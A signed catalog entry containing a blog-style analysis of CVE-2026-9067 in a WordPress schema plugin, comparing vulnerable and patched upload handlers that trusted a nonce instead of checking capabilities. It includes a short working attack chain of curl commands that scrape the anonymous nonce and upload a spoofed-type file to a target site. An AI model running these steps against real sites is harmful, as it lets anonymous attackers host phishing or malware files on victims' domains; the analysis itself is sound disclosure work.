-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## Seven handlers, three mutations, one capability check\n\n`modules/reviews/class-saswp-review-feature-frontend.php` declares the review feature's frontend AJAX surface. The constructor at the top of the file wires twelve actions, seven of them duplicated to `wp_ajax_nopriv_*` so they are reachable without a session:\n\n```php\nadd_action( 'wp_ajax_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] );\nadd_action( 'wp_ajax_nopriv_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] );\n\nadd_action( 'wp_ajax_saswp_rf_form_remove_file', [$this, 'saswp_remove_file'] );\nadd_action( 'wp_ajax_nopriv_saswp_rf_form_remove_file', [$this, 'saswp_remove_file'] );\n\nadd_action( 'wp_ajax_saswp_rf_form_video_upload', [$this, 'saswp_video_upload'] );\nadd_action( 'wp_ajax_nopriv_saswp_rf_form_video_upload', [$this, 'saswp_video_upload'] );\n```\n\nIn WordPress, `wp_ajax_` routes requests from logged-in users. `wp_ajax_nopriv_` routes everyone else. Registering both variants binds the handler to any caller, regardless of session state.\n\nThree of the seven `nopriv` actions mutate the media library. `saswp_rf_form_image_upload` and `saswp_rf_form_video_upload` write a file into `/wp-content/uploads/YYYY/MM/` and insert a new attachment post. `saswp_rf_form_remove_file` deletes an attachment by post ID.\n\nOpen `saswp_remove_file` at line 765 of the 1.59 file:\n\n```php\npublic function saswp_remove_file() {\n\n if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {\n return;\n }\n\n if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {\n return;\n }\n // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n $attachment_id = isset( $_REQUEST['attachment_id'] ) ? absint( $_REQUEST['attachment_id'] ) : '';\n\n if ( ! current_user_can( 'delete_post', $attachment_id ) ) {\n return;\n }\n\n $deleted = wp_delete_attachment( $attachment_id );\n ...\n}\n```\n\nThree checks. Nonce presence, nonce verification, and `current_user_can( 'delete_post', $attachment_id )`. The third is the gate the others rely on. The author of this file knew that a handler bound to `wp_ajax_nopriv_` could be hit by anyone, that \"anyone\" deleting an arbitrary attachment ID is not what the endpoint is for, and that the WordPress capability API was the right place to draw that line.\n\nOpen `saswp_image_upload` at line 671 of the same file:\n\n```php\npublic function saswp_image_upload() {\n\n if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {\n return;\n }\n\n if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {\n return;\n }\n\n $img_max_size = 1024;\n\n $file = $_FILES['saswp-rf-form-image'];\n $allowed_file_types = [ 'image/jpg', 'image/jpeg', 'image/png', 'image/gif' ];\n ...\n```\n\nTwo checks. Nonce presence, nonce verification. No `current_user_can`.\n\nOpen `saswp_video_upload` at line 822. Same shape, byte for byte:\n\n```php\npublic function saswp_video_upload() {\n if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {\n return;\n }\n\n if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {\n return;\n }\n\n $file = $_FILES['saswp-rf-form-video'];\n $allowed_file_types = ['video/mp4', 'video/mov', 'video/avi'];\n ...\n```\n\nThe function the author remembered to gate sits between the two they didn't. Same file. Same author. Same constructor block above. Same `nopriv` binding. The privileged operation differs (write vs. delete); the missing question is the same one.\n\n## The two checks on the upload handlers verify CSRF, not identity\n\n`wp_verify_nonce` confirms that the value the caller posted was computed by this WordPress install for this action name within the last 24 hours. WordPress nonces are CSRF tokens. They prove a request is fresh and originated from a page this server served. They do not prove the caller is logged in, and they do not prove the caller holds any particular capability. WordPress provides `is_user_logged_in()` for the first property and `current_user_can()` for the second.\n\nThis is the nonce-is-not-auth failure mode, [previously documented in this catalog for CVE-2026-3891 on Pix for WooCommerce](/posts/pix-woocommerce-nonce-is-not-auth) and a recurring shape across the WordPress plugin ecosystem. A handler bound to `wp_ajax_nopriv_` whose only identity gate is `wp_verify_nonce` is reachable by anyone who can produce a valid nonce, and a valid nonce for an anonymous action is obtainable from any page that serves the form the nonce is bound to.\n\nThe Schema & Structured Data plugin localizes its review-form nonce into the page that hosts the review widget. A page that renders the form returns HTML containing a localized JavaScript object whose `saswp_rf_page_security_nonce` field is the ten-byte hex output of `wp_create_nonce('saswp_rf_form_action_nonce')`. For an unauthenticated visitor, WordPress computes the nonce against user ID 0, the anonymous identity. The token is valid for the next 24 hours and is identical for every anonymous caller in that window.\n\nThe upload handler's nonce check, called against an unauthenticated caller, compares that same token against the same anonymous-user expected value. They match. The check passes. The function continues into the file write.\n\nStep one of the attack is a single curl against the front page:\n\n```bash\nNONCE=$(curl -s \"https://target.com/\" \\\n | grep -oP 'saswp_rf_page_security_nonce[\"\\x27]?\\s*:\\s*[\"\\x27]([a-f0-9]{10})' \\\n | grep -oP '[a-f0-9]{10}' | head -1)\n```\n\nThe nonce is now in the attacker's shell variable. The caller has not authenticated, has not registered, has not submitted a form. They GET-requested the home page.\n\n## `$file['type']` is the Content-Type header the client sent\n\nThe 1.59 image handler's only filter on what gets written is the in_array against `$allowed_file_types`:\n\n```php\nif (! in_array($file['type'], $allowed_file_types)) {\n $valid_file_type = str_replace('image/', '', implode(', ', $allowed_file_types));\n $error_file_type = str_replace('image/', '', $file['type']);\n\n wp_send_json_error(['msg' => sprintf(esc_html__('Invalid file type: %s. Supported file types: %s', 'schema-and-structured-data-for-wp'), $error_file_type, $valid_file_type)]);\n}\n```\n\n`$file['type']` is `$_FILES['saswp-rf-form-image']['type']`. PHP populates that field from the `Content-Type` part of the multipart form section the caller sent. The string is whatever appeared in the client's request body. The check is satisfied by sending `Content-Type: image/png` in the multipart envelope regardless of what the file's actual bytes are.\n\nTwo WordPress APIs were available for the check the plugin needed. `wp_check_filetype_and_ext` inspects the file's bytes through finfo and returns the detected MIME. `wp_handle_upload`'s `mimes` override argument constrains the WP-layer allowlist down from the default media set to whatever the caller wants. The 1.59 handler used neither. The check on the line above runs against the client's own assertion about the file.\n\nStep two of the attack:\n\n```bash\ncurl -X POST \"https://target.com/wp-admin/admin-ajax.php\" \\\n -F \"action=saswp_rf_form_image_upload\" \\\n -F \"saswp_rf_form_nonce=$NONCE\" \\\n -F \"saswp-rf-form-image=@evil.csv;type=image/png;filename=evil.csv\"\n```\n\nThe plugin's in_array check passes (`Content-Type` of this multipart section is `image/png`). Execution falls through to `wp_handle_upload($file, ['test_form' => false])`. WordPress core then runs its own filetype-and-ext check against the file's name and bytes, against the default media allowlist. The default allowlist excludes `.php`, `.phtml`, `.html`, `.htm`, `.svg`, `.js`, and the other types core has historically considered unsafe to serve from `uploads/`. It accepts `.csv`, `.txt`, `.json`, `.pdf`, `.xml`, `.mp3`, `.mp4`, `.zip`, and the rest of the documented media set. The file lands at `/wp-content/uploads/YYYY/MM/evil.csv`.\n\nThe handler then calls `wp_insert_attachment` and returns:\n\n```json\n{\"success\":true,\"data\":{\"file_info\":{\"id\":123,\"url\":false}}}\n```\n\nThe `url` field is `false` because WordPress couldn't generate a thumbnail for a non-image. The file is on disk and is publicly retrievable:\n\n```bash\ncurl -s \"https://target.com/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv\"\n```\n\nThe PoC's own README is explicit about where the ceiling sits: \"WordPress core blocks executable types (`.php`, `.phtml`, `.html`, `.svg`). Therefore, there is NO direct RCE path from this vulnerability.\" The primitive is unauthenticated arbitrary write into the webroot, scoped to the WordPress documented-media set. The unauthenticated landing surface is large enough for phishing PDFs, blackhat SEO landing files served as XML, malware payloads served as ZIP, and arbitrary asset hosting on the victim's domain under the victim's TLS certificate. The PHP ceiling is held in place by WordPress core, not by anything this plugin did.\n\n## The patch added the question to the upload handlers. The `wp_ajax_nopriv_` binding stayed.\n\nThe 1.60 image handler:\n\n```diff\n public function saswp_image_upload() {\n\n if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {\n+ wp_send_json_error( [ 'msg' => esc_html__( 'Invalid request.', 'schema-and-structured-data-for-wp' ) ] );\n return;\n }\n\n if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {\n+ wp_send_json_error( [ 'msg' => esc_html__( 'Security check failed.', 'schema-and-structured-data-for-wp' ) ] );\n return;\n }\n\n+ // Improvement #3: Capability check. Only users allowed to upload files may proceed.\n+ if ( ! current_user_can( 'upload_files' ) ) {\n+ wp_send_json_error( [ 'msg' => esc_html__( 'You do not have permission to upload files.', 'schema-and-structured-data-for-wp' ) ] );\n+ return;\n+ }\n\n $img_max_size = 1024;\n\n $file = $_FILES['saswp-rf-form-image'];\n- $allowed_file_types = [ 'image/jpg', 'image/jpeg', 'image/png', 'image/gif' ];\n+\n+ if ( empty( $file['name'] ) || empty( $file['tmp_name'] ) ) {\n+ wp_send_json_error( [ 'msg' => esc_html__( 'Please upload file.', 'schema-and-structured-data-for-wp' ) ] );\n+ return;\n+ }\n+\n+ $allowed_mimes = [\n+ 'png' => 'image/png',\n+ 'jpg|jpeg|jpe' => 'image/jpeg',\n+ 'gif' => 'image/gif',\n+ ];\n```\n\nThe patch adds three things to the image handler and the same three to the video handler. A `current_user_can( 'upload_files' )` check at the top of the function, after the existing nonce verification. A `wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $allowed_mimes )` server-side mime inspection that reads the file's bytes, replacing the bypassable `$file['type']` read. A `mimes` argument on `wp_handle_upload` that constrains the WP-layer allowlist to the three image (or three video) types the plugin actually wants.\n\n`upload_files` is the WordPress capability held by the Author, Editor, and Administrator roles by default. It is not held by Subscribers, and it is not held by anonymous callers (user ID 0). The check returns false for any caller without an upload-permitted session, and the handler returns early with `wp_send_json_error`.\n\nLines 27 and 33 of the constructor in 1.60 are unchanged from 1.59:\n\n```php\nadd_action( 'wp_ajax_nopriv_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] );\n...\nadd_action( 'wp_ajax_nopriv_saswp_rf_form_video_upload', [$this, 'saswp_video_upload'] );\n```\n\nWordPress still routes anonymous POST requests for `action=saswp_rf_form_image_upload` into `saswp_image_upload`. The handler now rejects them at the third check instead of accepting them and writing to disk. Both designs work as patches; only one of them removes the surface. The patched 1.60 leaves the upload handlers reachable by unauthenticated callers and adds a check inside the function to send them away. The shape of the gate has not changed. The gate now does the work the nonce was being asked to do.\n\nThe catalog's [Pix for WooCommerce exhibit](/posts/pix-woocommerce-nonce-is-not-auth) on the same pattern took the opposite route on its patch: version 1.6.0 removed the `nopriv` registrations for both the certificate upload and the nonce generator that fed it, making the endpoint unreachable to anonymous callers as a property of the constructor rather than a check inside the function. Both are valid corrections. The choice between them tells you what the maintainer believes the gate is. Schema & Structured Data's maintainer believes the gate is `current_user_can`, applied per-handler, layered on top of a constructor that continues to wire `nopriv` for every frontend handler the review feature ships.\n\n## `//Todo: think about sanitization here`, in 1.59 and in 1.60\n\nThe 1.59 `saswp_video_upload` handler, at line 861, carries a comment immediately above the `wp_insert_attachment` call:\n\n```php\n$uploaded = wp_handle_upload($file, $upload_overrides);\n\nif ($uploaded && ! isset($uploaded['error'])) {\n $filename = $uploaded['file'];\n $filetype = wp_check_filetype(basename($filename), null);\n\n //Todo: think about sanitization here\n $attach_id = wp_insert_attachment(\n [\n 'guid' => $uploaded['url'],\n ...\n```\n\nThe 1.60 `saswp_video_upload` handler, at line 928, carries the same comment immediately above the same call:\n\n```php\n$uploaded = wp_handle_upload($file, $upload_overrides);\n\nif ($uploaded && ! isset($uploaded['error'])) {\n $filename = $uploaded['file'];\n $filetype = wp_check_filetype( basename( $filename ), $allowed_mimes );\n\n //Todo: think about sanitization here\n $attach_id = wp_insert_attachment(\n [\n 'guid' => $uploaded['url'],\n ...\n```\n\nThe 1.60 patch added a capability check on the function, replaced the bypassable Content-Type read with `wp_check_filetype_and_ext`, and locked `wp_handle_upload` to a video-only mime map. The three changes the comment was about all landed in the same function. The comment did not change. It still names the gap the author originally meant to think about, and now it sits next to the code that thinks about it.\n\nThis is the inverse of the canonical todo-that-shipped artifact, [catalog exhibits such as CVE-2026-1368 on vczapi](/posts/vczapi-cve-2026-1368-patch-is-two-characters) where the comment names a control the code never installs and the patch is the installation. Here the comment named a gap, the gap got closed in three separate ways in the function the comment is in, and the comment stayed in place. It now reads as residue, not testimony. The author's note to themselves outlived the work the note was about.\n\nThe catalog's playbook entry on this pattern says to sort source TODOs by age and treat anything older than eighteen months as accumulated technical debt with security implications. The `saswp_rf_form_video_upload` action was introduced in plugin version 1.45 in 2018. The comment has been in the file for the better part of a decade. It went through the CVE-2026-9067 patch unchanged. The patch addressed what the comment was about; nobody removed the comment.\n\n## Close\n\nThe capability check Schema & Structured Data didn't write on the upload handlers in 1.45 is on them in 1.60. The `wp_ajax_nopriv_` registration that exposed the upload handlers in 1.45 still exposes them now. The TODO that named the original doubt shipped a third time, against the code that finally did the thinking it asked for.\n\nPoC: [Polosss/By-Poloss..-..CVE-2026-9067](https://github.com/Polosss/By-Poloss..-..CVE-2026-9067)","closing_line":"The capability check moved into the upload handlers. The wp_ajax_nopriv_ binding that exposed them stayed in the constructor.","hook_md":"Schema & Structured Data for WP & AMP 1.59 registers seven handlers in its review-feature constructor through `wp_ajax_nopriv_`. One of them, `saswp_remove_file`, opens with `if ( ! current_user_can( 'delete_post', $attachment_id ) ) { return; }`. Two of them, `saswp_image_upload` and `saswp_video_upload`, sit on either side of it in the same file and never call `current_user_can` at all. CVE-2026-9067 is the question the developer asked on the handler between the two they didn't ask it on.","post_id":600,"slug":"saswp-cve-2026-9067-delete-handler-had-the-check","title":"CVE-2026-9067: Schema & Structured Data's Delete Handler Called current_user_can. The Two Upload Handlers Around It Didn't.","type":"initial","unreadable_sentence":"The function the developer remembered to gate sits between the two they didn't."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCasf2EgAKCRDeZjl4jgkQ JpmIAP46i06wD48qxoLJx0I6eYMEd8tYGnbHZrNdqGbbbxEEywD+Nh8aaabX0lFG 0GuPebvy9HP3ddinLtv/TRuznTUXNAU= =X6Bi -----END PGP SIGNATURE-----